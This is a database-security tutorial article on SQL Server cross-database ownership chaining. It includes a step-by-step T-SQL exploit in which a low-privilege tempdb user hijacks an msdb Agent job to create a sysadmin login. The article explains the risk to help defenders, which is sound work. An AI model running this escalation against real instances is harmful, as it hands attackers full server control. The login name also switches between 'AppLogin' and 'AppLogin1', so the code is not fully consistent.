{"id":109512,"date":"2026-04-13T13:00:00","date_gmt":"2026-04-13T13:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=109512"},"modified":"2026-04-14T07:56:35","modified_gmt":"2026-04-14T07:56:35","slug":"cross-database-ownership-chaining-in-sql-server-security-risks-behavior-and-privilege-escalation-explained","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/cross-database-ownership-chaining-in-sql-server-security-risks-behavior-and-privilege-escalation-explained\/","title":{"rendered":"Cross-database ownership chaining in SQL Server: security risks, behavior, and privilege escalation explained"},"content":{"rendered":"\n<p>A dangerous privilege-escalation path exists in SQL Server when cross-database ownership chaining, system database defaults, and overly permissive permissions are combined. Under these conditions, a low-privilege authenticated user can escalate to sysadmin, gaining full control of the instance. This article walks through how an attacker can abuse these mechanics.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-introducing-cross-database-ownership-chaining-in-sql-server-and-its-potential-for-abuse\">Introducing cross-database ownership chaining in SQL Server &#8211; and its potential for abuse<\/h2>\n\n\n\n<p>Cross-database ownership chaining is a <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server<\/a> feature that controls how <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-access-control-basics\/#securables-and-permissions:~:text=value%20DbUser1.-,Securables%20and%20permissions,-Once%20we%20have\" target=\"_blank\" rel=\"noreferrer noopener\">permissions<\/a> are evaluated when objects in one database access objects in another. When enabled, SQL Server may skip permission checks across database boundaries if object ownership conditions are met.<\/p>\n\n\n\n<p>While this mechanism is essential for many built-in SQL Server features and system workflows, it introduces implicit trust relationships between databases. If these trust boundaries are misunderstood or combined with excessive permissions, they can be abused by an attacker to move laterally across databases and escalate privileges.<\/p>\n\n\n\n<p>As <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/database-engine\/configure-windows\/cross-db-ownership-chaining-server-configuration-option#security-risk\" target=\"_blank\" rel=\"noreferrer noopener\">documented<\/a> by Microsoft:<\/p>\n\n\n\n<p><em>\u201cEnabling cross-database ownership chaining in SQL Server introduces a potential security vulnerability. When this feature is active, a local database user with elevated privileges can exploit ownership chaining to escalate permissions and potentially gain&nbsp;<strong>sysadmin<\/strong>&nbsp;access.\u201d<\/em><\/p>\n\n\n\n<p>Understanding how SQL Server evaluates permissions is critical to correctly assessing both its legitimate uses and its potential for abuse.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-sql-server-evaluates-permissions\">How SQL Server evaluates permissions<\/h2>\n\n\n\n<p>It&#8217;s first important to understand how SQL Server evaluates permissions to avoid incorrect assumptions.<\/p>\n\n\n\n<p>SQL Server uses <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/schema-based-access-control-for-sql-server-databases\/#ownership-chaining:~:text=easy%20to%20implement.-,Ownership%20Chaining,-So%20far%2C%20we%E2%80%99ve\" target=\"_blank\" rel=\"noreferrer noopener\">ownership chaining<\/a> to determine whether permission checks on underlying objects can be skipped during execution. This mechanism allows users to interact with complex database logic, such as <a href=\"https:\/\/www.red-gate.com\/simple-talk\/blogs\/for-the-love-of-stored-procedures\/\" target=\"_blank\" rel=\"noreferrer noopener\">stored procedures<\/a> and <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/mastering-sql-views\/\" target=\"_blank\" rel=\"noreferrer noopener\">views<\/a>, without requiring direct permissions on every underlying table.<\/p>\n\n\n\n<p>When a stored procedure accesses an object in the same database, SQL Server evaluates permissions as follows:<\/p>\n\n\n<div class=\"block-core-list\">\n<ol class=\"wp-block-list\">\n<li>Verify that the caller has <code>EXECUTE<\/code> permission on the stored procedure.<br><br><\/li>\n\n\n\n<li>Compare the owner of the stored procedure with the owner of the referenced object.<br><br><\/li>\n\n\n\n<li>If the owners match, permission checks on the referenced object are skipped.<br><br><\/li>\n\n\n\n<li>If the owners differ, SQL Server enforces normal permission checks.<\/li>\n<\/ol>\n<\/div>\n\n\n<p>This is known as an ownership chain. As long as the chain remains unbroken and all objects are owned by the same principal &#8211; commonly dbo (database owner) &#8211; SQL trusts the execution context and suppresses additional permission validation.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-ownership-chaining-works-in-sql-server\">How ownership chaining works in SQL Server<\/h2>\n\n\n\n<p>Here&#8217;s a practical example of how ownership chaining works in SQL Server:<\/p>\n\n\n\n<p><strong>Scenario<\/strong><\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>A table called &#8216;Salaries&#8217; exists in a database<br><br><\/li>\n\n\n\n<li>A user does <em>not<\/em> have permission to read from the &#8216;Salaries&#8217; table<br><br><\/li>\n\n\n\n<li>However, the user <em>does<\/em> have permission to execute a stored procedure that accesses the &#8216;Salaries&#8217; table<\/li>\n<\/ul>\n<\/div>\n\n\n<p>First, create a login we\u2019ll use as our database owner and add it to the <code>dbcreator<\/code> server level role:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master\nGO\nCREATE LOGIN AppDbOwner WITH PASSWORD = 'StrongPassword!123';\nGO\nALTER SERVER ROLE dbcreator ADD MEMBER AppDbOwner\nGO<\/pre><\/div>\n\n\n\n<p>Now create a login we\u2019ll use as our app user:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE LOGIN AppUser WITH PASSWORD = 'StrongPassword!123';\nGO<\/pre><\/div>\n\n\n\n<p>Under the <code>AppDbOwner<\/code> login context, create a database called &#8216;AppDB&#8217; and a user for <code>AppUser<\/code> inside the database. Notice that <code>AppUser<\/code> has execute permission on dbo schema.<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master\nGO\nEXECUTE AS LOGIN = 'AppDbOwner';\nGO\nCREATE DATABASE AppDB;\nGO\nUSE AppDB\nGO\nCREATE USER AppUser FOR LOGIN AppUser;\nGO\nGRANT EXECUTE ON SCHEMA::dbo TO AppUser\nGO\nUSE master\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p>We&#8217;ll now create a table called &#8216;Salaries&#8217; and a procedure that reads the table:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE AppDB;\nGO\nEXECUTE AS LOGIN = 'AppDbOwner';\nGO\nCREATE TABLE Salaries\n(\n    EmployeeID INT,\n    Salary     MONEY\n);\nGO\nINSERT INTO Salaries VALUES(1, 1000);\nGO\nCREATE PROCEDURE ReadSalaries\nAS\nBEGIN\n  SELECT * FROM Salaries;\nEND;\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p>The result is as expected: <code>AppUser<\/code> does <em>not<\/em> have access to the &#8216;Salaries&#8217; table:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE AppDB;\nGO\nEXECUTE AS LOGIN = 'AppUser';\nGO\nSELECT * FROM Salaries;\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p><code>Msg 229, Level 14, State 5, Line 28<br>The SELECT permission was denied on the object 'Salaries', database 'AppDB', schema 'dbo'.<\/code><\/p>\n\n\n\n<p>However, <code>AppUser<\/code> CAN execute the <code>ReadSalaries<\/code> procedure:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE AppDB;\nGO\nEXECUTE AS LOGIN = 'AppUser';\nGO\nEXEC ReadSalaries\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p><code>EmployeeID&nbsp; Salary<\/code><\/p>\n\n\n\n<p>&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n\n\n\n<p><code>1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1000.00<\/code><\/p>\n\n\n\n<p><code>(1 row affected)<\/code><\/p>\n\n\n\n<p>The execution succeeds despite <code>AppUser<\/code> not having any direct permissions on &#8216;Salaries.&#8217; Since dbo (<code>AppDbOwner<\/code>) owns both the table <em>and<\/em> the procedure, no permissions were checked.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-why-this-behavior-works-and-is-not-considered-a-security-flaw\">Why this behavior works &#8211; and is <em>not<\/em> considered a security flaw<\/h4>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The procedure owner is dbo (<code>AppDbOwner<\/code>)<br><\/li>\n\n\n\n<li>The table owner is dbo (<code>AppDbOwner<\/code>)<br><\/li>\n\n\n\n<li>The ownership chain is intact<br><\/li>\n\n\n\n<li>SQL Server skips permission checks on the table<br><\/li>\n\n\n\n<li>Only the <code>EXECUTE<\/code> permission on the procedure is required<\/li>\n<\/ul>\n<\/div>\n\n\n<p>This behavior is by design &#8211; so is <em>not<\/em> considered a security flaw. In summary, this model allows SQL Server to safely expose data through controlled interfaces while preserving strict permission boundaries.<\/p>\n\n\n\n<section id=\"my-first-block-block_718047e6df6e269fd1cc80293e76f358\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Fast, reliable and consistent SQL Server development&#8230;<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            &#8230;with SQL Toolbelt Essentials. 10 ingeniously simple tools for accelerating development, reducing risk, and standardizing workflows.                                    <\/div>\n            <\/div>\n                            <a href=\"https:\/\/www.red-gate.com\/products\/sql-toolbelt-essentials\/\" class=\"btn btn--secondary btn--lg\">Learn more &amp; try for free<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h3 class=\"wp-block-heading\" id=\"h-how-to-add-cross-database-access-to-this-scenario\">How to add cross-database access to this scenario<\/h3>\n\n\n\n<p>Now, let\u2019s analyze a scenario where the &#8216;Salaries&#8217; table owner is the same, but the table is stored in a different database.<\/p>\n\n\n\n<p>Create a new database called <code>AppDB_HR<\/code> and a &#8216;Salaries&#8217; table on it. We\u2019re also creating a user for <code>AppUser<\/code> on this database but will <em>not<\/em> grant any permissions for it. Note that the <code>AppDB_HR<\/code> database owner is the same as <code>AppDB<\/code> (<code>AppDbOwner<\/code>).<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master\nGO\nEXECUTE AS LOGIN = 'AppDbOwner';\nGO\nCREATE DATABASE AppDB_HR;\nGO\nUSE AppDB_HR\nGO\nCREATE USER AppUser FOR LOGIN AppUser;\nGO\nCREATE TABLE Salaries\n(\n    EmployeeID INT,\n    Salary     MONEY\n);\nGO\nINSERT INTO Salaries VALUES(1, 1000);\nGO\nUSE master\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p>Now, back on <code>AppDB<\/code>, let\u2019s recreate the <code>ReadSalaries<\/code> procedure to access the &#8216;Salaries&#8217; table on the <code>AppDB_HR<\/code> database:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE AppDB\nGO\nEXECUTE AS LOGIN = 'AppDbOwner';\nGO\nDROP PROC IF EXISTS ReadSalaries\nGO\nCREATE PROCEDURE ReadSalaries\nAS\nBEGIN\n  SELECT * FROM AppDB_HR.dbo.Salaries;\nEND;\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p>And here&#8217;s what happens when <code>AppUser<\/code> tries to execute the <code>ReadSalaries<\/code> procedure:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE AppDB\nGO\nEXECUTE AS LOGIN = 'AppUser';\nGO\nEXEC ReadSalaries\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p><code>Msg 229, Level 14, State 5, Procedure ReadSalaries, Line 4 [Batch Start Line 128]<br>The SELECT permission was denied on the object 'Salaries', database 'AppDB_HR', schema 'dbo'.<\/code><\/p>\n\n\n\n<p>By default, SQL Server enforces strict isolation between databases. Permissions granted in one database do <em>not <\/em>automatically carry over to another, even if the same login owns objects in both.<\/p>\n\n\n\n<p>Cross-database chaining can be used to enable this access. While powerful, this feature introduces security risks and is therefore disabled by default.<\/p>\n\n\n\n<p>Let\u2019s enable it on both databases to see how it works:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">ALTER DATABASE AppDB_HR SET DB_CHAINING ON\nALTER DATABASE AppDB SET DB_CHAINING ON\nGO<\/pre><\/div>\n\n\n\n<p>Access to the &#8216;AppDB_HR&#8217; table via the <code>ReadSalaries<\/code> procedure is now allowed:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE AppDB\nGO\nEXECUTE AS LOGIN = 'AppUser';\nGO\nEXEC ReadSalaries\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p><code>EmployeeID&nbsp; Salary<\/code><\/p>\n\n\n\n<p>&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n\n\n\n<p><code>1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1000.00<\/code><\/p>\n\n\n\n<p><code>(1 row affected)<\/code><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-explaining-the-security-implications-of-cross-db-ownership-being-enabled-by-default-on-master-msdb-and-tempdb\">Explaining the security implications of Cross DB ownership being enabled by default on master, msdb and tempdb<\/h2>\n\n\n\n<p>As discussed earlier, cross-database ownership chaining is <em>disabled<\/em> by default for user databases. This default protects database boundaries and prevents implicit trust relationships between separate databases. However, cross-database ownership chaining is <em>enabled<\/em> by default on master, msdb, and <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/mastering-tempdb-the-basics\/\" target=\"_blank\" rel=\"noreferrer noopener\">tempdb<\/a> system databases.<\/p>\n\n\n\n<p>While this behavior is necessary (many built-in procedures and features rely on cross-db object access between system DBs), it has important security consequences. This is because system databases are owned by <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/why-disabling-the-sql-server-sa-account-still-matters-in-2026\/\" target=\"_blank\" rel=\"noreferrer noopener\">sa<\/a> &#8211; and can&#8217;t be changed.<\/p>\n\n\n\n<p>If a low-privilege user gains the ability to create or modify objects in one of these databases, they may be able to leverage cross-database ownership chaining to access or influence objects in another system database. Here&#8217;s why:<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Permissions on master, tempdb and msdb must be carefully controlled<br><\/li>\n\n\n\n<li>Granting <code>CONTROL<\/code>, <code>ALTER<\/code>, or broad <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/theory-and-design\/data-control-language-aka-security\/\" target=\"_blank\" rel=\"noreferrer noopener\">DDL<\/a> permissions on system databases is <em>extremely<\/em> dangerous<\/li>\n<\/ul>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-explaining-privilege-escalation-to-sysadmin-in-sql-server-cross-db-ownership-and-a-sql-agent-job\">Explaining privilege escalation to sysadmin in SQL Server (cross-DB ownership and a SQL agent job)<\/h2>\n\n\n\n<p>An authenticated, non-sysadmin account with the ability to create objects in tempdb can leverage cross-database ownership chaining to read and perform DML (data manipulation language) against sensitive msdb system tables. For example, <code>msdb.dbo.sysjobs<\/code> and <code>msdb.dbo.sysjobsteps<\/code>. <\/p>\n\n\n\n<p>By updating the <code>owner_sid<\/code> of a <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/setting-up-your-sql-server-agent-correctly\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Agent<\/a> job to the [sa] SID (0x01) via an updatable tempdb view that references msdb, an attacker can cause SQL Agent to execute the job steps under the [sa] context. This would then allow for creation of a server principal and subsequent escalation to sysadmin.<\/p>\n\n\n\n<p>Let\u2019s start by creating a regular login with permission to alter and control objects on tempdb:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master\nGO\nCREATE LOGIN AppLogin WITH PASSWORD='StrongPassword!123';\nGO\n\/* Give AppLogin permission to create\/read objects on tempdb *\/\nUSE tempdb\nGO\nCREATE USER AppLogin FOR LOGIN AppLogin;\nGRANT ALTER TO AppLogin;\nGRANT CONTROL TO AppLogin;\nGO<\/pre><\/div>\n\n\n\n<p>Next, using <code>AppLogin1<\/code>, let\u2019s try to access the sysjobs table on msdb:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE tempdb\nGO\nEXECUTE AS LOGIN = 'AppLogin1';\nGO\n-- AppLogin1 does not have direct permission on msdb tables\nSELECT * FROM msdb.dbo.sysjobs\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p><code>Msg 229, Level 14, State 5, Line 19<br>The SELECT permission was denied on the object 'sysjobs', database 'msdb', schema 'dbo'.<\/code><\/p>\n\n\n\n<p>From the attacker\u2019s perspective, this failure confirms that direct access to msdb is blocked. However, it also highlights an opportunity. Since both tempdb and msdb have ownership chaining enabled and share the same owner (sa), a chained object can be used to bypass this restriction.<\/p>\n\n\n\n<p>So, let&#8217;s now check which databases have db chaining enabled:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- is_db_chaining_on on both DBs tempdb and msdb are set to ON\nSELECT name, owner_sid, is_db_chaining_on \nFROM sys.databases\nWHERE is_db_chaining_on = 1\nGO\nname         owner_sid     is_db_chaining_on\n------------ ------------- -----------------\nmaster       0x01          1\ntempdb       0x01          1\nmsdb         0x01          1\n\n(3 rows affected)<\/pre><\/div>\n\n\n\n<p>Database chaining is enabled on both tempdb and msdb, which means I can do the following:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE tempdb\nGO\nEXECUTE AS LOGIN = 'AppLogin1';\nGO\nDROP VIEW IF EXISTS vw_sysjobs\nGO\nCREATE VIEW vw_sysjobs\nAS\nSELECT * FROM msdb.dbo.sysjobs\nGO\n-- And rely on ownership chaining to get access msdb.dbo.sysjobs\nSELECT job_id, name, enabled, owner_sid, SUSER_SNAME(owner_sid) AS job_owner \nFROM vw_sysjobs WHERE name = 'syspolicy_purge_history'\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p>The results are:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">job_id                               name                         enabled owner_sid   job_owner\n------------------------------------ ---------------------------- ------- ----------- -----------\n761A6AFC-BE7E-4A82-A021-A7B687AD3F63 syspolicy_purge_history      1       0x01        sa\n\n(1 row affected)<\/pre><\/div>\n\n\n\n<p>By placing a view in tempdb that references msdb objects, SQL Server treats access to the underlying msdb tables as trusted &#8211; despite no explicit permissions being granted.<\/p>\n\n\n\n<p>By default, every SQL Server instance has a job called <code>syspolicy_purge_history<\/code> which runs (typically) at 2 AM. We could use this job to inject some code to be executed in the job context (sa login). For instance, I could add a new step and wait for its next execution:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE tempdb\nGO\nEXECUTE AS LOGIN = 'AppLogin1';\nGO\nDROP VIEW IF EXISTS vw_sysjobsteps\nGO\nCREATE VIEW vw_sysjobsteps\nAS\nSELECT * FROM msdb.dbo.sysjobsteps\nGO\n-- Inserting a new step to create a sysadmin login\nDECLARE @step_uid VARCHAR(250) = NEWID()\nINSERT INTO vw_sysjobsteps ([job_id], [step_id], [step_name], [subsystem], [command], [flags], [additional_parameters], [cmdexec_success_code], [on_success_action], [on_success_step_id], [on_fail_action], [on_fail_step_id], [server], [database_name], [database_user_name], [retry_attempts], [retry_interval], [os_run_priority], [output_file_name], [last_run_outcome], [last_run_duration], [last_run_retries], [last_run_date], [last_run_time], [proxy_id], [step_uid])\nVALUES (\n'{761a6afc-be7e-4a82-a021-a7b687ad3f63}', \n4, \n'Run my elevated code', \n'TSQL',\n'-- If login does not exist, create it\nIF NOT EXISTS(SELECT * FROM sys.server_principals WHERE name = ''NewSysAdminLogin'')\nBEGIN\n  CREATE LOGIN [NewSysAdminLogin] WITH PASSWORD=N''102030'', CHECK_POLICY=OFF;\n  ALTER SERVER ROLE [sysadmin] ADD MEMBER [NewSysAdminLogin];\nEND',\n0, NULL, 0, 1, 0, 1, 0, NULL, N'master', NULL, 0, 0, 0, NULL, 0, 0, 0, 0, 0, NULL, @step_uid\n)\nGO\n-- Adjust on_success_action for step 3\nUPDATE vw_sysjobsteps SET on_success_action = 3\nFROM vw_sysjobsteps\nWHERE job_id = '761A6AFC-BE7E-4A82-A021-A7B687AD3F63'\nAND step_id = 3\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p>The job has four steps:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Check all steps\nSELECT job_id, step_id, step_name, on_success_action\nFROM vw_sysjobsteps\nGO<\/pre><\/div>\n\n\n\n<p>The results are:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">job_id                 step_id     step_name                             on_success_action\n-------------------... ----------- ------------------------------------- ----------\n761A6AFC-BE7E-4A82-... 1           Verify that automation is enabled.    3\n761A6AFC-BE7E-4A82-... 2           Purge history.                        3\n761A6AFC-BE7E-4A82-... 3           Erase Phantom System Health Records.  3\n761A6AFC-BE7E-4A82-... 4           Run my elevated code                  1\n\n(4 rows affected)<\/pre><\/div>\n\n\n\n<p>Now, we <em>could<\/em> wait until the next execution, and our code would be executed under sa context. However, if you don&#8217;t want to wait, you can use the following code to manually start the job:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Force job execution using a high priv account to be able to call \n-- sp_start_job of syspolicy_purge_history job\nEXECUTE msdb.dbo.sp_start_job N'syspolicy_purge_history';\nGO<\/pre><\/div>\n\n\n\n<p>And now, the login <code>NewSysAdminLogin<\/code> should be there:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Did it created my sysadmin login?\nSELECT name, IS_SRVROLEMEMBER('sysadmin', name) AS \"IsSysAdmin?\"\nFROM sys.server_principals \nWHERE name = 'NewSysAdminLogin'\nGO <\/pre><\/div>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">name              IsSysAdmin?\n----------------- -----------\nNewSysAdminLogin  1\n\n(1 row affected)<\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-summary\">Summary<\/h2>\n\n\n\n<p>Cross-database ownership chaining is not inherently a vulnerability; it is a legitimate SQL Server feature designed to enable controlled access patterns and support core engine functionality. However, as demonstrated throughout this article, the combination of system database defaults, shared ownership, and overly permissive permissions makes it highly susceptible to privilege escalation. <\/p>\n\n\n\n<p>The examples shown illustrate how a low-privilege, authenticated user can move laterally across databases and abuse implicit trust boundaries. They can execute code under the sa context without exploiting memory corruption, bugs, or undocumented features.<\/p>\n\n\n\n<p>Ultimately, database boundaries are only meaningful if trust is not implicitly extended across them. Any permission that allows object creation or modification in system databases must be treated as highly sensitive. Roles, grants, and design assumptions that appear harmless in isolation can become critical escalation paths when combined with ownership chaining.<\/p>\n\n\n\n<p>That&#8217;s why it&#8217;s critical to understand how SQL Server actually evaluates permissions, where implicit trust exists, and how attackers think. Without that knowledge, it&#8217;s all too easy to let a &#8220;low-privilege&#8221; user suddenly become a sysadmin and gain full control of your instance.<\/p>\n\n\n\n<section id=\"my-first-block-block_6a20b3d77c2917326fa220359c029f9c\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Protect your data. Demonstrate compliance.<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery &#038; masking, and demonstrate compliance with traceability across every environment.                                    <\/div>\n            <\/div>\n                            <a href=\"https:\/\/www.red-gate.com\/solutions\/use-cases\/security-and-compliance\/\" class=\"btn btn--secondary btn--lg\">Learn more<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: The risks of cross-database ownership chaining in SQL Server<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. What is cross-database ownership chaining in SQL Server?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"348\" data-end=\"582\">It&#8217;s a feature that allows SQL Server to skip permission checks across databases when object ownership matches, enabling smoother access between related database objects.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. How does SQL Server evaluate permissions with ownership chaining?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"584\" data-end=\"835\">SQL Server checks <code>EXECUTE<\/code> permissions on a procedure, then verifies object ownership. If both objects share the same owner, permission checks on underlying objects may be skipped.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. Why is cross-database ownership chaining a security risk?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"837\" data-end=\"1057\">If enabled incorrectly, it can create implicit trust between databases, allowing attackers to escalate privileges or access data across database boundaries.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. Is cross-database ownership chaining enabled by default?<\/h3>\n            <div class=\"faq-answer\">\n                <p data-start=\"1059\" data-end=\"1254\">It is disabled by default on user databases but enabled on system databases like master, msdb, and tempdb for compatibility reasons.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. Can cross-database ownership chaining lead to privilege escalation?<\/h3>\n            <div class=\"faq-answer\">\n                <div class=\"text-base my-auto mx-auto [--thread-content-margin:var(--thread-content-margin-xs,calc(var(--spacing)*4))] @w-sm\/main:[--thread-content-margin:var(--thread-content-margin-sm,calc(var(--spacing)*6))] @w-lg\/main:[--thread-content-margin:var(--thread-content-margin-lg,calc(var(--spacing)*16))] px-(--thread-content-margin)\">\n<div class=\"[--thread-content-max-width:40rem] @w-lg\/main:[--thread-content-max-width:48rem] mx-auto max-w-(--thread-content-max-width) flex-1 group\/turn-messages focus-visible:outline-hidden relative flex w-full min-w-0 flex-col agent-turn\">\n<div class=\"flex max-w-full flex-col gap-4 grow\">\n<div class=\"min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal outline-none keyboard-focused:focus-ring [.text-message+&amp;]:mt-1\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"bfd998ac-e66c-4536-bfa2-490d8580c1ba\" data-message-model-slug=\"gpt-5-3-mini\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden\">\n<div class=\"markdown prose dark:prose-invert w-full wrap-break-word light markdown-new-styling\">\n<p data-start=\"1256\" data-end=\"1477\" data-is-last-node=\"\" data-is-only-node=\"\">Yes. In misconfigured environments, attackers may exploit chained ownership and system database access to escalate privileges up to sysadmin level.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"z-0 flex min-h-[46px] justify-start\">\u00a0<\/div>\n<\/div>\n<\/div>\n            <\/div>\n            <\/section>\n","protected":false},"excerpt":{"rendered":"<p>Learn how cross-database ownership chaining works in SQL Server, how permissions are evaluated, and why it can introduce security risks and privilege escalation if misconfigured.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":109515,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[143523,53,143530,46,143524],"tags":[4168,4619,5765,4150,4151],"coauthors":[6809],"class_list":["post-109512","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-databases","category-featured","category-security","category-security-and-compliance","category-sql-server","tag-database","tag-security","tag-security-and-compliance","tag-sql","tag-sql-server"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/109512","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=109512"}],"version-history":[{"count":4,"href":"https:\/\/